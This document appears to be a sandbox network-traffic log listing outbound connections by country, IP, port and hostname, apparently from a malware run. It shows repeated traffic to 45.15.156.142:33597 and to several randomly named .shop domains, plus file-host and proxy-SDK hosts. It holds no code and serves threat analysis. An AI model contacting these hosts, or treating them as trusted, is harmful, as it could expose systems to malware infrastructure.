US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 2.17.251.17:443 binaries.templates.cdn.office.net tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.109.133:443 objects.githubusercontent.com tcp
US 185.199.108.133:443 objects.githubusercontent.com tcp
NL 45.15.156.142:33597 tcp
US 34.117.188.166:443 contile.services.mozilla.com udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 collector.github.com udp
US 140.82.113.21:443 collector.github.com tcp
GB 20.26.156.210:443 api.github.com tcp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.200.22:443 i.ytimg.com udp
GB 142.250.180.14:443 youtube-ui.l.google.com udp
GB 142.250.179.238:443 youtube-ui.l.google.com udp
GB 216.58.213.6:443 static.doubleclick.net udp
GB 172.217.16.226:443 googleads.g.doubleclick.net udp
GB 172.217.16.226:443 googleads.g.doubleclick.net tcp
GB 216.58.212.234:443 jnn-pa.googleapis.com udp
GB 216.58.212.234:443 jnn-pa.googleapis.com tcp
GB 20.26.156.215:443 github.com tcp
NL 45.15.156.142:33597 tcp
US 185.199.109.133:443 private-user-images.githubusercontent.com tcp
US 185.199.109.133:443 private-user-images.githubusercontent.com tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
GB 20.26.156.216:443 codeload.github.com tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 172.67.185.32:443 cleartotalfisherwo.shop tcp
US 172.67.199.191:443 worryfillvolcawoi.shop tcp
US 104.21.18.233:443 enthusiasimtitleow.shop tcp
US 104.21.22.160:443 dismissalcylinderhostw.shop tcp
NL 45.15.156.142:33597 tcp
US 104.21.67.211:443 affordcharmcropwo.shop tcp
US 172.67.211.165:443 diskretainvigorousiw.shop tcp
US 8.8.8.8:53 211.67.21.104.in-addr.arpa udp
US 172.67.166.251:443 communicationgenerwo.shop tcp
US 172.67.144.218:443 pillowbrocccolipe.shop tcp
US 8.8.8.8:53 165.211.67.172.in-addr.arpa udp
US 8.8.8.8:53 251.166.67.172.in-addr.arpa udp
US 8.8.8.8:53 218.144.67.172.in-addr.arpa udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
GB 20.26.156.210:443 api.github.com tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 region1.google-analytics.com udp
US 8.8.8.8:53 region1.analytics.google.com udp
US 8.8.8.8:53 www.google.co.uk udp
US 216.239.34.36:443 region1.analytics.google.com udp
GB 142.250.200.3:443 www.google.co.uk udp
US 204.79.197.237:443 dual-a-0034.a-msedge.net tcp
US 216.239.34.36:443 region1.analytics.google.com tcp
US 216.239.32.36:443 region1.analytics.google.com udp
NL 178.250.1.25:443 csm.nl3.vip.prod.criteo.net tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 172.67.1.225:443 tinyurl.com tcp
US 172.67.1.225:443 tinyurl.com udp
LU 31.216.144.5:443 mega.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
LU 66.203.125.15:443 g.api.mega.co.nz tcp
LU 66.203.125.15:443 g.api.mega.co.nz tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
LU 31.216.144.5:443 mega.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
NL 66.203.127.13:443 eu.static.mega.co.nz tcp
LU 66.203.125.15:443 g.api.mega.co.nz tcp
LU 66.203.125.15:443 g.api.mega.co.nz tcp
NL 45.15.156.142:33597 tcp
LU 31.216.144.5:443 mega.nz tcp
NL 45.15.156.142:33597 tcp
US 185.199.108.133:443 private-user-images.githubusercontent.com tcp
NL 45.15.156.142:33597 tcp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.200.22:443 i.ytimg.com udp
NL 45.15.156.142:33597 tcp
GB 142.250.180.14:443 www.youtube.com udp
GB 216.58.213.6:443 static.doubleclick.net udp
GB 142.250.178.10:443 jnn-pa.googleapis.com udp
GB 142.250.179.238:443 play.google.com udp
US 151.101.1.140:443 styles.redditmedia.com tcp
US 151.101.1.140:443 styles.redditmedia.com tcp
US 151.101.1.140:443 styles.redditmedia.com tcp
US 151.101.1.140:443 styles.redditmedia.com tcp
US 151.101.1.140:443 styles.redditmedia.com tcp
US 151.101.1.140:443 styles.redditmedia.com tcp
US 151.101.1.140:443 styles.redditmedia.com tcp
US 151.101.1.140:443 styles.redditmedia.com tcp
US 151.101.1.140:443 styles.redditmedia.com tcp
NL 45.15.156.142:33597 tcp
US 151.101.1.140:443 styles.redditmedia.com tcp
GB 142.250.187.196:443 www.google.com tcp
GB 142.250.187.196:443 www.google.com udp
US 104.26.3.70:443 ad-delivery.net tcp
US 151.101.1.140:443 styles.redditmedia.com tcp
BE 64.233.166.84:443 accounts.google.com tcp
BE 64.233.166.84:443 accounts.google.com udp
GB 142.250.179.238:443 play.google.com tcp
GB 142.250.179.238:443 play.google.com udp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.210:443 api.github.com tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
DE 135.125.183.247:443 rekonise.com tcp
GB 163.70.151.21:443 scontent.xx.fbcdn.net tcp
US 13.107.246.64:443 www.clarity.ms tcp
US 216.239.34.36:443 region1.analytics.google.com tcp
GB 163.70.151.21:443 scontent.xx.fbcdn.net udp
GB 142.250.200.3:443 www.google.co.uk tcp
DE 135.125.183.247:443 rekonise.com tcp
DE 135.125.183.247:443 rekonise.com tcp
US 216.239.34.36:443 region1.analytics.google.com udp
GB 142.250.200.3:443 www.google.co.uk udp
BE 74.125.133.155:443 stats.g.doubleclick.net tcp
GB 163.70.151.35:443 www.facebook.com tcp
US 8.8.8.8:53 x.clarity.ms udp
GB 163.70.151.35:443 www.facebook.com udp
BE 74.125.133.155:443 stats.g.doubleclick.net udp
US 20.114.190.119:443 clarity-ingest-eus2-e-sc.eastus2.cloudapp.azure.com tcp
GB 142.250.187.238:443 www3.l.google.com tcp
GB 142.250.187.238:443 www3.l.google.com udp
IE 68.219.88.97:443 c-msn-com-nsatc.trafficmanager.net tcp
US 204.79.197.237:443 dual-a-0034.a-msedge.net tcp
GB 142.250.179.238:443 play.google.com udp
GB 172.217.16.225:443 tpc.googlesyndication.com tcp
US 8.8.8.8:53 tpc.googlesyndication.com udp
GB 172.217.16.225:443 tpc.googlesyndication.com udp
GB 142.250.187.196:443 www.google.com tcp
NL 45.15.156.142:33597 tcp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.200.46:443 youtube-ui.l.google.com tcp
GB 142.250.200.46:443 youtube-ui.l.google.com udp
GB 142.250.179.238:443 youtube-ui.l.google.com tcp
GB 142.250.179.238:443 youtube-ui.l.google.com udp
GB 216.58.212.206:443 youtube-ui.l.google.com tcp
GB 216.58.212.206:443 youtube-ui.l.google.com udp
GB 142.250.187.196:443 www.google.com tcp
US 8.8.8.8:53 206.212.58.216.in-addr.arpa udp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.200.22:443 i.ytimg.com tcp
GB 142.250.200.22:443 i.ytimg.com udp
BE 64.233.166.84:443 accounts.google.com tcp
BE 64.233.166.84:443 accounts.google.com udp
NL 74.125.8.231:443 rr2.sn-5hnednsz.googlevideo.com tcp
NL 74.125.8.231:443 rr2.sn-5hnednsz.googlevideo.com tcp
GB 142.250.200.46:443 youtube-ui.l.google.com udp
NL 74.125.8.231:443 rr2.sn-5hnednsz.googlevideo.com tcp
NL 74.125.8.231:443 rr2.sn-5hnednsz.googlevideo.com tcp
GB 142.250.179.225:443 yt3.googleusercontent.com tcp
NL 74.125.8.231:443 rr2.sn-5hnednsz.googlevideo.com tcp
NL 74.125.8.231:443 rr2.sn-5hnednsz.googlevideo.com tcp
GB 142.250.179.225:443 yt3.googleusercontent.com udp
GB 142.250.178.10:443 jnn-pa.googleapis.com tcp
GB 142.250.178.10:443 jnn-pa.googleapis.com tcp
GB 142.250.178.10:443 jnn-pa.googleapis.com udp
GB 216.58.213.6:443 static.doubleclick.net tcp
GB 216.58.213.6:443 static.doubleclick.net udp
GB 142.250.179.238:443 youtube-ui.l.google.com tcp
GB 142.250.179.238:443 youtube-ui.l.google.com udp
GB 142.250.200.46:443 youtube-ui.l.google.com tcp
GB 142.250.200.46:443 youtube-ui.l.google.com udp
GB 173.194.183.202:443 rr5.sn-aigl6nl7.googlevideo.com tcp
GB 173.194.183.202:443 rr5.sn-aigl6nl7.googlevideo.com tcp
GB 173.194.183.202:443 rr5.sn-aigl6nl7.googlevideo.com udp
US 20.114.190.119:443 clarity-ingest-eus2-e-sc.eastus2.cloudapp.azure.com tcp
GB 142.250.178.10:443 jnn-pa.googleapis.com udp
FR 173.194.18.38:443 rr1---sn-hgn7ynek.googlevideo.com tcp
FR 173.194.18.38:443 rr1---sn-hgn7ynek.googlevideo.com tcp
FR 173.194.18.38:443 rr1---sn-hgn7ynek.googlevideo.com tcp
FR 173.194.18.38:443 rr1---sn-hgn7ynek.googlevideo.com tcp
FR 173.194.18.38:443 rr1---sn-hgn7ynek.googlevideo.com tcp
FR 173.194.18.38:443 rr1---sn-hgn7ynek.googlevideo.com tcp
GB 142.250.179.238:443 youtube-ui.l.google.com udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 20.114.190.119:443 clarity-ingest-eus2-e-sc.eastus2.cloudapp.azure.com tcp
US 8.8.8.8:53 adclick.g.doubleclick.net udp
US 172.67.195.138:443 mmentorapp.com tcp
US 172.67.195.138:443 mmentorapp.com udp
US 204.79.197.237:443 bat.bing.com tcp
GB 142.250.179.226:443 adclick.g.doubleclick.net tcp
GB 142.250.179.226:443 adclick.g.doubleclick.net udp
US 216.239.32.36:443 region1.google-analytics.com tcp
US 216.239.32.36:443 region1.google-analytics.com udp
NL 51.158.210.166:443 51-158-210-166.lb.nl-ams.scw.cloud tcp
NL 51.158.210.166:8443 51-158-210-166.lb.nl-ams.scw.cloud udp
GB 142.250.179.238:443 youtube-ui.l.google.com udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 encrypted-tbn0.gstatic.com udp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.179.238:443 youtube-ui.l.google.com udp
GB 142.250.179.238:443 youtube-ui.l.google.com udp
NL 45.15.156.142:33597 tcp
NL 51.158.210.166:443 51-158-210-166.lb.nl-ams.scw.cloud tcp
NL 51.158.210.166:443 51-158-210-166.lb.nl-ams.scw.cloud tcp
NL 45.15.156.142:33597 tcp
US 216.239.34.36:443 region1.google-analytics.com udp
GB 142.250.200.3:443 www.google.co.uk udp
US 104.26.8.100:443 img1.teletype.in tcp
US 104.26.8.100:443 img1.teletype.in udp
US 142.251.164.120:443 csi.gstatic.com tcp
RU 77.88.44.66:443 yandex.ru tcp
GB 163.70.151.35:443 star-mini.c10r.facebook.com udp
US 104.26.9.100:443 img1.teletype.in tcp
US 142.251.164.120:443 csi.gstatic.com udp
US 20.114.190.119:443 clarity-ingest-eus2-e-sc.eastus2.cloudapp.azure.com tcp
US 8.8.8.8:53 mc.yandex.ru udp
US 104.26.9.100:443 img1.teletype.in udp
US 8.8.8.8:53 img2.teletype.in udp
RU 178.154.131.215:443 yastatic.net tcp
RU 178.154.131.215:443 yastatic.net tcp
RU 178.154.131.215:443 yastatic.net tcp
US 8.8.8.8:53 yastatic.net udp
RU 178.154.131.215:443 yastatic.net tcp
RU 178.154.131.215:443 yastatic.net tcp
RU 178.154.131.215:443 yastatic.net tcp
US 172.67.69.38:443 img2.teletype.in tcp
US 172.67.69.38:443 img2.teletype.in tcp
US 104.26.8.100:443 img2.teletype.in tcp
US 8.8.8.8:53 120.164.251.142.in-addr.arpa udp
US 8.8.8.8:53 100.9.26.104.in-addr.arpa udp
US 8.8.8.8:53 223.111.17.104.in-addr.arpa udp
US 172.67.69.38:443 img2.teletype.in udp
US 104.26.8.100:443 img2.teletype.in udp
US 216.239.32.36:443 region1.google-analytics.com tcp
GB 142.250.200.3:443 www.google.co.uk tcp
US 216.239.32.36:443 region1.google-analytics.com tcp
US 104.26.9.100:443 img2.teletype.in tcp
GB 142.250.200.3:443 www.google.co.uk udp
RU 87.250.251.119:443 mc.yandex.ru tcp
RU 87.250.251.119:443 mc.yandex.ru tcp
US 216.239.32.36:443 region1.google-analytics.com udp
US 104.26.8.100:443 img2.teletype.in tcp
BE 74.125.133.155:443 stats.g.doubleclick.net tcp
BE 74.125.133.155:443 stats.g.doubleclick.net udp
RU 93.158.134.119:443 mc.yandex.ru tcp
NL 45.15.156.142:33597 tcp
DE 185.53.177.50:80 dfile.su tcp
DE 185.53.177.50:80 dfile.su tcp
GB 142.250.187.196:80 www.google.com tcp
US 18.239.190.73:80 d38psrni17bvxu.cloudfront.net tcp
NL 45.15.156.142:33597 tcp
GB 142.250.187.238:443 www.adsensecustomsearchads.com tcp
GB 142.250.187.238:443 www.adsensecustomsearchads.com udp
GB 172.217.16.225:443 afs.googleusercontent.com tcp
GB 172.217.16.225:443 afs.googleusercontent.com tcp
GB 172.217.16.225:443 afs.googleusercontent.com udp
RU 93.158.134.119:443 mc.yandex.ru tcp
DE 64.190.63.222:443 cloudyfile.com tcp
GB 142.250.187.196:443 www.google.com tcp
US 205.234.175.175:443 img.sedoparking.com tcp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.187.238:443 www.adsensecustomsearchads.com tcp
GB 142.250.187.238:443 www.adsensecustomsearchads.com tcp
GB 142.250.187.238:443 www.adsensecustomsearchads.com udp
GB 172.217.16.225:443 afs.googleusercontent.com tcp
GB 172.217.16.225:443 afs.googleusercontent.com tcp
GB 172.217.16.225:443 afs.googleusercontent.com udp
RU 93.158.134.119:443 mc.yandex.ru tcp
DE 64.190.63.222:443 cloudyfile.com tcp
GB 216.58.212.226:443 googleads.g.doubleclick.net udp
GB 216.58.212.226:443 googleads.g.doubleclick.net tcp
RU 93.158.134.119:443 mc.yandex.ru tcp
RU 213.180.193.90:443 an.yandex.ru tcp
RU 213.180.193.90:443 an.yandex.ru tcp
RU 87.250.247.181:443 avatars.mds.yandex.net tcp
RU 93.158.134.36:443 favicon.yandex.net tcp
RU 93.158.134.119:443 mc.yandex.ru tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
RU 77.88.44.66:443 yandex.ru tcp
RU 93.158.134.121:443 browser.yandex.ru tcp
RU 178.154.131.215:443 yastatic.net tcp
RU 178.154.131.215:443 yastatic.net tcp
RU 178.154.131.215:443 yastatic.net tcp
RU 178.154.131.215:443 yastatic.net tcp
RU 178.154.131.215:443 yastatic.net tcp
RU 178.154.131.215:443 yastatic.net tcp
RU 178.154.131.215:443 yastatic.net tcp
RU 178.154.131.215:443 yastatic.net tcp
RU 178.154.131.215:443 yastatic.net tcp
RU 87.250.247.181:443 avatars.mds.yandex.net tcp
RU 87.250.247.181:443 avatars.mds.yandex.net tcp
RU 87.250.247.181:443 avatars.mds.yandex.net tcp
RU 87.250.247.181:443 avatars.mds.yandex.net tcp
RU 87.250.247.181:443 avatars.mds.yandex.net tcp
RU 87.250.247.181:443 avatars.mds.yandex.net tcp
RU 87.250.251.119:443 mc.yandex.ru tcp
US 8.8.8.8:53 forms.yandex.ru udp
RU 213.180.204.73:443 forms.yandex.ru tcp
RU 213.180.204.73:443 forms.yandex.ru tcp
US 8.8.8.8:53 forms.yandex.ru udp
NL 45.15.156.142:33597 tcp
US 8.8.8.8:53 csp.yandex.net udp
RU 93.158.134.119:443 mc.yandex.ru tcp
RU 93.158.134.119:443 mc.yandex.ru tcp
RU 93.158.134.119:443 mc.yandex.ru tcp
RU 93.158.134.119:443 mc.yandex.ru tcp
RU 87.250.250.104:443 csp.yandex.net tcp
RU 87.250.250.104:443 csp.yandex.net tcp
RU 87.250.250.104:443 csp.yandex.net tcp
RU 87.250.250.104:443 csp.yandex.net tcp
RU 87.250.250.104:443 csp.yandex.net tcp
RU 87.250.250.104:443 csp.yandex.net tcp
RU 93.158.134.119:443 mc.yandex.ru tcp
RU 87.250.251.119:443 mc.yandex.ru tcp
US 8.8.8.8:53 perr.lum-sdk.io udp
US 159.223.133.120:443 perr.l-err.biz tcp
US 159.223.133.120:443 perr.l-err.biz tcp
US 3.228.36.186:443 clientsdk.bright-sdk.com tcp
US 206.189.231.23:443 perr.l-err.biz tcp
US 159.223.133.120:443 perr.l-err.biz tcp
US 192.81.214.145:443 perr.l-err.biz tcp
US 8.8.8.8:53 186.36.228.3.in-addr.arpa udp
FR 195.154.71.230:443 web.mentor-staging.mymentalmentor.net tcp
US 159.223.133.120:443 perr.l-err.biz tcp
GB 142.250.187.196:443 www.google.com udp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
GB 216.58.212.226:443 googleads.g.doubleclick.net udp
US 159.223.133.120:443 perr.l-err.biz tcp
US 159.223.133.120:443 perr.l-err.biz tcp
US 159.223.133.120:443 perr.l-err.biz tcp
NL 45.15.156.142:33597 tcp
US 159.223.133.120:443 perr.l-err.biz tcp
N/A 127.0.0.1:62864 tcp
N/A 127.0.0.1:62869 tcp
N/A 127.0.0.1:62874 tcp
US 159.223.133.120:443 perr.l-err.biz tcp
US 159.223.133.120:443 perr.l-err.biz tcp
US 159.223.133.120:443 perr.l-err.biz tcp
N/A 127.0.0.1:62880 tcp
N/A 127.0.0.1:62887 tcp
N/A 127.0.0.1:62892 tcp
US 159.223.133.120:443 perr.l-err.biz tcp
US 159.223.133.120:443 perr.l-err.biz tcp
US 3.228.36.186:443 tcp
US 159.223.133.120:443 perr.l-err.biz tcp
US 8.8.8.8:53 brdtest.com udp
GB 162.125.64.18:443 www.dropbox.com tcp
US 3.94.72.89:443 brdtest.com tcp
US 159.223.133.120:443 perr.l-err.biz tcp
US 159.223.133.120:443 perr.l-err.biz tcp
US 8.8.8.8:53 uc29406af02fdf7ed1b219255f7a.dl.dropboxusercontent.com udp
GB 162.125.64.15:443 uc29406af02fdf7ed1b219255f7a.dl.dropboxusercontent.com tcp
US 159.223.133.120:443 perr.l-err.biz tcp
N/A 127.0.0.1:62942 tcp
N/A 127.0.0.1:62951 tcp
N/A 127.0.0.1:62981 tcp
US 159.223.133.120:443 perr.l-err.biz tcp
US 3.33.193.183:443 3.33.193.183 tcp
US 159.223.133.120:443 perr.l-err.biz tcp
US 206.189.231.23:443 perr.l-err.biz tcp
US 216.239.32.36:443 region1.google-analytics.com udp
N/A 127.0.0.1:62995 tcp
N/A 127.0.0.1:63003 tcp
N/A 127.0.0.1:63015 tcp
GB 142.250.180.14:443 encrypted-vtbn0.gstatic.com tcp
GB 142.250.180.14:443 encrypted-vtbn0.gstatic.com udp
US 161.35.48.195:443 perr.l-err.biz tcp
US 192.81.214.145:443 perr.l-err.biz tcp
GB 142.250.200.22:443 i.ytimg.com udp
RU 185.178.208.145:443 oxy.cloud tcp
US 8.8.8.8:53 smatr.net udp
US 8.8.8.8:53 cdn.adlook.me udp
NL 88.208.46.222:443 smatr.net tcp
US 104.22.63.227:443 ads.themoneytizer.com.cdn.cloudflare.net tcp
US 104.22.63.227:443 ads.themoneytizer.com.cdn.cloudflare.net tcp
RU 193.17.93.93:443 cdn.adlook.me tcp
US 8.8.8.8:53 ced.sascdn.com udp
DE 51.75.86.98:443 onetag-sys.com tcp
US 8.8.8.8:53 onetag-sys.com udp
US 8.8.8.8:53 tag.leadplace.fr udp
US 8.8.8.8:53 secure.quantserve.com udp
US 8.8.8.8:53 adtrack.adleadevent.com udp
US 8.8.8.8:53 145.208.178.185.in-addr.arpa udp
US 8.8.8.8:53 222.46.208.88.in-addr.arpa udp
US 8.8.8.8:53 227.63.22.104.in-addr.arpa udp
US 8.8.8.8:53 93.93.17.193.in-addr.arpa udp
RU 178.154.131.215:443 yastatic.net tcp
US 8.8.8.8:53 yastatic.net udp
RU 178.154.131.215:443 yastatic.net tcp
IE 34.248.22.168:443 metrics.biddertmz.com tcp
IE 54.247.148.56:443 p.cpx.to tcp
IE 54.77.250.4:443 adtrack-php-loadbalancer-vpc-1246401395.eu-west-1.elb.amazonaws.com tcp
FR 145.239.192.166:443 tag.leadplace.fr tcp
NL 45.15.156.142:33597 tcp
NL 88.208.46.222:443 ogffa.net tcp
DE 157.90.33.72:443 uidsync.net tcp
IE 34.248.22.168:443 metrics.biddertmz.com tcp
US 8.8.8.8:53 counter.yadro.ru udp
US 8.8.8.8:53 system-notify.app udp
RU 176.122.21.226:443 ads.adlook.me tcp
DE 23.88.8.123:443 uidsync.net tcp
DE 23.88.8.123:443 uidsync.net tcp
BE 23.55.96.24:443 contextual.media.net tcp
BE 23.14.90.90:443 a1184.b.akamai.net tcp
NL 178.250.1.11:443 dnacdn.net tcp
DE 91.228.74.166:443 pixel.quantserve.com tcp
RU 88.212.201.204:443 counter.yadro.ru tcp
DE 37.252.171.85:443 ib.anycast.adnxs.com tcp
US 52.223.40.198:443 match.adsrvr.org tcp
BE 23.55.96.24:443 contextual.media.net udp
US 8.8.8.8:53 lg3.media.net udp
US 8.8.8.8:53 226.21.122.176.in-addr.arpa udp
US 8.8.8.8:53 123.8.88.23.in-addr.arpa udp
US 8.8.8.8:53 24.96.55.23.in-addr.arpa udp
US 8.8.8.8:53 90.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 85.171.252.37.in-addr.arpa udp
US 8.8.8.8:53 204.201.212.88.in-addr.arpa udp
SE 104.73.92.22:443 lg3.media.net tcp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
IE 54.247.148.56:443 s.cpx.to tcp
SE 104.73.92.22:443 lg3.media.net udp
US 18.239.208.83:443 d2fashanjl7d9f.cloudfront.net tcp
DE 91.228.74.159:443 global.px.quantserve.com tcp
NL 178.250.1.25:443 csm.nl3.vip.prod.criteo.net tcp
FR 178.250.7.13:443 dnacdn.net tcp
FR 185.235.86.173:443 gbc6.fr3.eu.criteo.com tcp
FR 185.235.86.64:443 gbc2.fr3.eu.criteo.com tcp
GB 142.250.179.238:443 play.google.com udp
NL 45.15.156.142:33597 tcp
NL 88.208.46.222:443 ogffa.net tcp
RU 185.178.208.145:443 s1.oxy.cloud tcp
DE 157.90.33.72:443 uidsync.net tcp
DE 141.95.98.65:443 lb.eu-1-id5-sync.com tcp
DE 157.90.33.72:443 uidsync.net tcp
DE 157.90.33.72:443 uidsync.net tcp
NL 45.15.156.142:33597 tcp
RU 185.178.208.145:443 s1.oxy.cloud tcp
US 104.21.40.15:443 tmzr.themoneytizer.fr tcp
US 104.21.40.15:443 tmzr.themoneytizer.fr udp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
US 35.244.193.51:443 lexicon.33across.com tcp
IE 52.17.55.191:443 id.crwdcntrl.net tcp
NL 89.149.192.240:443 ww1097.smartadserver.com tcp
NL 89.149.192.240:443 ww1097.smartadserver.com tcp
DE 141.95.33.120:443 lb.eu-1-id5-sync.com tcp
US 35.244.193.51:443 lexicon.33across.com udp
DE 141.95.98.65:443 lb.eu-1-id5-sync.com tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
GB 142.250.179.238:443 play.google.com udp
GB 142.250.178.14:443 encrypted-tbn0.gstatic.com udp
NL 45.15.156.142:33597 tcp
DE 49.12.202.237:443 www.7-zip.org tcp
DE 49.12.202.237:443 www.7-zip.org tcp
NL 89.149.192.240:443 ww1097.smartadserver.com tcp
NL 89.149.192.240:443 ww1097.smartadserver.com tcp
GB 95.101.143.184:443 tcp
US 13.89.179.9:443 browser.pipe.aria.microsoft.com tcp
NL 23.62.61.75:443 r.bing.com tcp
NL 23.62.61.75:443 r.bing.com tcp
NL 23.62.61.75:443 r.bing.com tcp
NL 23.62.61.75:443 r.bing.com tcp
NL 23.62.61.75:443 r.bing.com tcp
NL 23.62.61.75:443 r.bing.com tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 89.149.192.240:443 ww1097.smartadserver.com tcp
NL 89.149.192.240:443 ww1097.smartadserver.com tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
IE 34.248.22.168:443 metrics.biddertmz.com tcp
FR 185.86.138.32:443 ww1097.smartadserver.com tcp
FR 185.86.138.32:443 ww1097.smartadserver.com tcp
NL 45.15.156.142:33597 tcp
US 192.81.214.145:443 perr.l-err.biz tcp
NL 45.15.156.142:33597 tcp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.179.238:443 play.google.com udp
GB 142.250.179.238:443 play.google.com tcp
GB 142.250.178.14:443 encrypted-tbn0.gstatic.com udp
GB 172.217.16.225:443 tpc.googlesyndication.com udp
GB 172.217.16.225:443 tpc.googlesyndication.com tcp
NL 45.15.156.142:33597 tcp
NL 89.149.192.240:443 ww1097.smartadserver.com tcp
NL 89.149.192.240:443 ww1097.smartadserver.com tcp
US 13.107.246.64:443 fp-afd-nocache-ccp.azureedge.net tcp
US 52.108.8.254:443 wac-ring.msedge.net tcp
US 13.89.179.9:443 browser.pipe.aria.microsoft.com tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 13.107.246.254:443 t-ring-s.msedge.net tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
US 161.35.48.195:443 perr.l-err.biz tcp
NL 45.15.156.142:33597 tcp
DE 51.195.68.163:443 www.win-rar.com tcp
DE 51.195.68.163:443 www.win-rar.com tcp
DE 51.195.68.163:443 www.win-rar.com tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
NL 45.15.156.142:33597 tcp
DE 51.195.68.163:443 www.win-rar.com tcp
NL 45.15.156.142:33597 tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
US 206.189.231.23:443 perr.l-err.biz tcp
NL 45.15.156.142:33597 tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
GB 142.250.187.196:443 www.google.com udp
GB 142.250.179.238:443 play.google.com udp
US 104.21.41.37:443 extract.me tcp
US 104.21.41.37:443 extract.me udp
NL 45.15.156.142:33597 tcp
US 104.26.15.12:443 id.123apps.com tcp
GB 142.250.200.3:443 www.google.co.uk tcp
US 216.239.34.36:443 region1.analytics.google.com tcp
GB 142.250.200.3:443 www.google.co.uk udp
US 216.239.34.36:443 region1.analytics.google.com udp
BE 74.125.133.156:443 stats.g.doubleclick.net tcp
BE 74.125.133.156:443 stats.g.doubleclick.net udp
GB 172.217.16.225:443 tpc.googlesyndication.com tcp
GB 172.217.16.225:443 tpc.googlesyndication.com udp
DE 5.9.95.55:443 s89.extract.me tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
IE 34.248.22.168:443 metrics.biddertmz.com tcp
FR 164.132.25.177:443 ww1097.smartadserver.com tcp
IE 34.248.22.168:443 metrics.biddertmz.com tcp
US 161.35.48.195:443 perr.l-err.biz tcp
NL 45.15.156.142:33597 tcp
NL 45.15.156.142:33597 tcp
RU 185.178.208.145:443 s1.oxy.cloud tcp
